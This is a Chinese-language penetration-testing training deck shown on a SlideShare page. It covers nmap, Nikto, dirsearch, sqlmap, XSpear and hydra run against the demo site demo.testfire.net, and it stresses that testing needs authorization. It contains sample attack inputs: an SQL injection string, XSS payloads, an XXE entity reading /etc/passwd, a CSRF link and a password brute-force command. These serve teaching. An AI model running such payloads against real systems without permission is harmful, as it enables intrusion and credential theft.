Diese Präsentation wurde erfolgreich gemeldet.
Die SlideShare-Präsentation wird heruntergeladen. ×

VulnScan_PenTest.pdf

Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Anzeige
Nächste SlideShare
PHPUnit slide formal
PHPUnit slide formal
Wird geladen in …3
×

Hier ansehen

1 von 56 Anzeige

Weitere Verwandte Inhalte

Ähnlich wie VulnScan_PenTest.pdf (20)

Anzeige

VulnScan_PenTest.pdf

  1. 1. Vuln Scan and Pen Test 講師:zeze Re:從零開始的檢測員生活
  2. 2. 弱點掃描 – Vulnaribility Scan(Vuln Scan) 簡介: 檢查管理的主機、伺服器或網路設備是否存在可能的漏洞,以 及確認機器上各個 Port 的狀態與相關的服務 特性: 自動化、識別已知漏洞、成本低、速度快、測試頻率高
  3. 3. 滲透測試 – Penetration Test(Pen Test) 簡介: 在應用層面或網絡層面進行攻擊,針對具體的功能,尋長正常 業務流程中未知的安全缺陷 特性: 人工+工具、發現且利用漏洞、成本高、速度慢、測試頻率低
  4. 4. 不論是弱點掃描,或者滲透測試,最重要的一點就是授權 檢測方 受測方
  5. 5. 檢測流程 Step 1: 檢測範圍 – 網段、服務、外網、內網…… Step 2: 檢測時程 Step 3: 檢測工具與方式 – (工具) Nmap、OpenVAS、OWASP ZAP、…… (方式) 埠掃描、DDOS、社交工程、爆破密碼、…… Step 4: 實施檢測 Step 5: 改善作業 Step 6: 進行複檢 檢測流程有同有異,測試前請詳閱雙方合約書
  6. 6. 興趣使然的檢測員 小 z 從受測方得知了一個IP : 65.61.137.117,並且授權對 它做弱點掃描與滲透測試
  7. 7. nmap SYN Scan : nmap -sS [IP] -p [PORT] Port Scan : nmap -sT [IP] -p [PORT] UDP Scan : nmap –sU [IP] –p [PORT] -T [NUM] : threads -p : ports more: man nmap
  8. 8. nmap -sS 65.61.137.117 -p- Starting Nmap 7.80SVN ( https://nmap.org ) at 2020-0X-0X 22:19 CST Nmap scan report for 65.61.137.117 Host is up (0.18s latency). Not shown: 65531 filtered ports PORT STATE SERVICE 80/tcp open http 443/tcp open https 8080/tcp open http-proxy Nmap done: 1 IP address (1 host up) scanned in 1474.81 seconds
  9. 9. Port 服務對照表 常看到的服務通常會有對應的 port,因此可以針對服務進行滲透 ex. 21: FTP 22: SSH 25: SMTP 56: DNS 80: HTTP 443: HTTPS More: https://www.iana.org/assignments/service-names-port- numbers/service-names-port-numbers.xhtml
  10. 10. 針對各服務的工具 Patator: 暴力破解各服務的帳戶 https://github.com/lanjelot/patator Fierce: 暴力分析 DNS https://github.com/mschwager/fierce Nikto: 掃描 Web sudo apt install nikto -y
  11. 11. 針對各服務的工具 Patator: 暴力破解各服務的帳戶 https://github.com/lanjelot/patator Fierce: 暴力分析 DNS https://github.com/mschwager/fierce Nikto: 掃描 Web sudo apt install nikto -y
  12. 12. Nikto -host 65.61.137.117 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 65.61.137.117 + Target Hostname: demo.testfire.net + Target Port: 80 + Start Time: 2020-04-14 22:34:52 (GMT8) --------------------------------------------------------------------------- + Server: Apache-Coyote/1.1 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response + Scan terminated: 19 error(s) and 3 item(s) reported on remote host + End Time: 2020-04-14 22:36:50 (GMT8) (118 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
  13. 13. 弱掃工具 OpenVAS 用來掃描系統的一套 OpenSource 工具產生弱點報告,有 WEB 介面 其他常見的弱掃軟體:Nessus, Multi-Scanner, ……
  14. 14. 實作 - OpenVAS Ubuntu 16.04 : https://resdoss.blogspot.com/2018/04/openvas9ubuntu16kio ptrix-level-1.html Ubuntu 18.04 : https://kifarunix.com/how-to-install-and- setup-openvas-9-vulnerability-scanner-on-ubuntu-18-04/ Kali linux : http://yearlin101.blogspot.com/2017/08/kali- linux-openvas.html
  15. 15. 興趣使然的檢測員 小 z 得知 65.61.137.117 有開 80 和 443 port,因此試著 連上網站,果然發現一個 domain 為 demo.testfire.net,於是 小 z 打算開始滲透測試這個網站,要從哪裡下手呢?
  16. 16. 收集資料(Information Gathering) 簡介:在開始滲透前先做的事前準備工作,讓滲透的目標更具 體
  17. 17. 收集資料–搜尋引擎 Google hacking intitle: 標題 inurl: 網址 site: 網域 intext: 內文 filetype: 檔案類型 more: https://www.exploit-db.com/google-hacking-database
  18. 18. 收集資料–搜尋引擎 shodan(Sentient Hyper-Optimized Data Access Network): 強大的物聯網搜尋引擎 https://www.shodan.io/ net: 網段 port: 有開啟的 port country: 國家 product: 產品 hostname: 網域
  19. 19. 收集資料 gitub:運氣好的話,會看到網站的程式可能被放在這,就 可以直接讀原始碼來找漏洞。
  20. 20. 收集資料 – 插件 Wappalyzer: 透過發送 request 給指定 URL,從 response 的標頭獲得資訊 Chrome: https://chrome.google.com/webstore/detail/wappalyzer/gppo ngmhjkpfnbhagpmjfkannfbllamg?hl=zh-TW Firefox: https://addons.mozilla.org/zh- TW/firefox/addon/wappalyzer/
  21. 21. 收集資料 – chrome 插件 EditThisCookie: 每個網域有各自的 cookie,並且儲存在使 用者端,而這個插件讓使用者方便查閱與修改 cookie Chrome: https://chrome.google.com/webstore/detail/editthiscookie/fn gmhnnpilhplaeedifhccceomclgfbg?hl=zh-TW Firefox(Cookie Editor): https://addons.mozilla.org/zh-TW/firefox/addon/edit- cookie/
  22. 22. Cookie attributes HostOnly: cookie 是否只用在指定網域 Session: 被當作 session 處理的 cookie Secure: cookie 透過 http 還是 https 傳送 HTTP Only: cookie 能否 javascript 存取 SameSite: 根據當前網域是否與目標相同,決定是否發 cookie
  23. 23. 目錄搜索 dirsearch https://github.com/maurosoria/dirsearch python3 dirsearch.py -u [URL] -e [EXTENSION] -c [COOKIE] -x [http code] -r: recursively
  24. 24. python3 dirsearch.py -u https://demo.testfire.net/ -e * -r -x 403 …… [23:36:21] 302 - 0B - /images -> /images/ [23:36:22] 200 - 9KB - /index.jsp [23:36:29] 200 - 8KB - /login.jsp [23:36:47] 302 - 0B - /pr -> /pr/ ……
  25. 25. 興趣使然的檢測員 小 z 現在知道這個網站的網頁伺服器與程式語言,還有網站 的目錄和檔案,已經收集到不少資料的小 z 現在能做什麼?
  26. 26. 滲透測試工具 - Burpsuite 簡介:可以安裝各種滲透套件,也有爬蟲、proxy 等多項 功能 https://portswigger.net/burp/communitydownload
  27. 27. SQL injection(sqli) SELECT * FROM users WHERE name = ‘$USER’ and passwd=‘$PASSWD’ ; SELECT * FROM users WHERE name = ‘’ or 1=1--’ and passwd=‘a’ ; $USER = ‘ or 1=1-- $PASSWD = a
  28. 28. 測試工具 - sqlmap sqlmap sudo apt install sqlmap https://github.com/sqlmapproject/sqlmap -u [URL] --data=[POST DATA] --level [NUM] --risk [NUM] more: sqlmap -h
  29. 29. sqlmap -u https://65.61.137.117/doLogin --data="uid=a&passw=b" --level=3 --risk=3 --drop-set-cookie Parameter: uid (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: uid=-6055' OR 6504=6504-- HAZj&passw=bb&btnSubmit=Login
  30. 30. Cross site scripting(XSS) ex.am/ple.php?s=Hello Your input: Hello ex.am/ple.php?s=<img src=x onrror=alert(1)> Your input: ex.am 顯示 1 確定 取消 User input:Hello User input:<img src=x onerror=alert(1)>
  31. 31. XSpear https://github.com/hahwul/XSpear -u [URL] --data [POST DATA] -a:test to all params more: Xspear -h XSS 測試工具
  32. 32. XSpear -u "http://demo.testfire.net/search.jsp?query=a" -a | NO | TYPE | ISSUE| METHOD | PARAM | PAYLOAD …… | 7 | HIGH | XSS | GET | query | <audio src onloadstart=alert(45)> | 8 | HIGH | XSS | GET | query | <marquee onstart=alert(45)> | 9 | HIGH | XSS | GET | query | <video/poster/onerror=alert(45)> ……
  33. 33. Clickjacking 若有個網站 A 沒有把 X-Frame-Options 設為 DENY 或是 SAMEORIGIN,則另一個網站 B 就可以將 A 網站嵌入 同源策略 (Same-origin policy):在Web瀏覽器中,允許某個 網頁腳本訪問另一個網頁的數據,但前提是這兩個網頁必須有 相同的URI、主機名和埠號
  34. 34. Clickjacking ex.am/ple.php Your input: Hello ha.ck/er.php <iframe src=http://ex.am/ple.php></iframe> Your input: Hello
  35. 35. Cross Site Request Forgery(CSRF) 若有個網站的重要 cookie 的 SameSite 沒有設定好,可能導 致駭客可以利用使用者的身分做壞事 SameSite: No Restriction – 最寬鬆,cookie 會被夾帶在從其他網域 發出的 get 和 post request Lax – 其次,只有 get request 時會夾帶 cookie Strict – 最嚴格,不管是什麼 request,都不會夾帶這 個 cookie
  36. 36. Cross Site Request Forgery(CSRF) ex.am/ple.php Zeze info user : zeze password : ****** ha.ck/er.php <a href=“http://ex.am/ple.php?m=edit&user=zeze&pass=123456”>Click!</a> Click!
  37. 37. XML External Entity Injection(XXE) <?xml version=“1.0” encoding=“utf-8”?> <root> <name>zeze</name> </root> ex.am/ple.php Search name: zeze
  38. 38. XML External Entity Injection(XXE) <?xml version=“1.0” encoding=“utf-8”?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root> <name>&xxe</name> </root> ex.am/ple.php Search name: &xxe
  39. 39. OWASP Top 10 1. Injection 2. Broken Authentication 3. Sensitive Data Exposure 4. XML External Entities(XXE) 5. Broken Access Control 6. Security Misconfiguration 7. Cross-Site Scripting(XSS) 8. Insecure Deserialization 9. Using Components with Known Vulneraabilities 10. Insufficient Logging & Monitoring https://owasp.org/www-project-top-ten/
  40. 40. 滲透測試工具 - OWASP ZAP 簡介:OWASP Zed Attack Proxy(ZAP),Open Web Application Security Project (OWASP) 開發的測試網頁 程式漏洞工具,並設有簡單易用的介面,讓網頁開發員測 試自己開發的網頁是否安全。 https://owasp.org/www-project-zap/
  41. 41. 滲透測試 – 插件 HackBar 簡介:支援各種攻擊手法的 payload, encode/decode, hash function, 也可以構造各種 request Chrome: https://chrome.google.com/webstore/detail/hackbar/ginpbkfigc oaokgflihfhhmglmbchinc Firefox: https://addons.mozilla.org/zh-TW/firefox/addon/hackbar- quantum/
  42. 42. 興趣使然的檢測員 小 z 現在想要看看這個網站有沒有使用弱密碼,他該怎麼做 呢
  43. 43. 爆破帳號密碼 - python
  44. 44. 爆破帳號密碼 - hydra hydra install Kali: built-in Other linux: https://github.com/vanhauser-thc/thc-hydra Windows: https://github.com/maaaaz/thc-hydra-windows
  45. 45. Password Dictionary https://github.com/danielmiessler/SecLists
  46. 46. hydra -L ./user.txt -P ./pass.txt demo.testfire.net http-post-form "/doLogin:uid=^USER^&passw=^PASS^&btnSubmit=Login:F=Failed" Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-17 12:48:08 [DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:2/p:2), ~1 try pertask [DATA] attacking http-post- form://demo.testfire.net:80/doLogin:uid=^USER^&passw=^PASS^&btnSubmit=Login:F=Failed [80][http-post-form] host: demo.testfire.net login: admin password: admin
  47. 47. 興趣使然的檢測員 小 z 用盡渾身解數,不留餘力地找漏洞,總算有些成果。那 小 z 終於可以耍廢了嗎? 真是怠惰呢
  48. 48. 報告書 測試完後,檢測方要將測試取得的資訊寫入報告中。包含系統 的狀態、弱點、漏洞、版本等等,還須附上建議改善方法,最 後將此報告書交給受測方。受測方將會在規定時間內將修復報 告提供給檢測方,而檢測方需在規定時間內將複測結果告知受 測方。
  49. 49. 謝謝大家 Thanks For Listening 我要成為滲透王!

×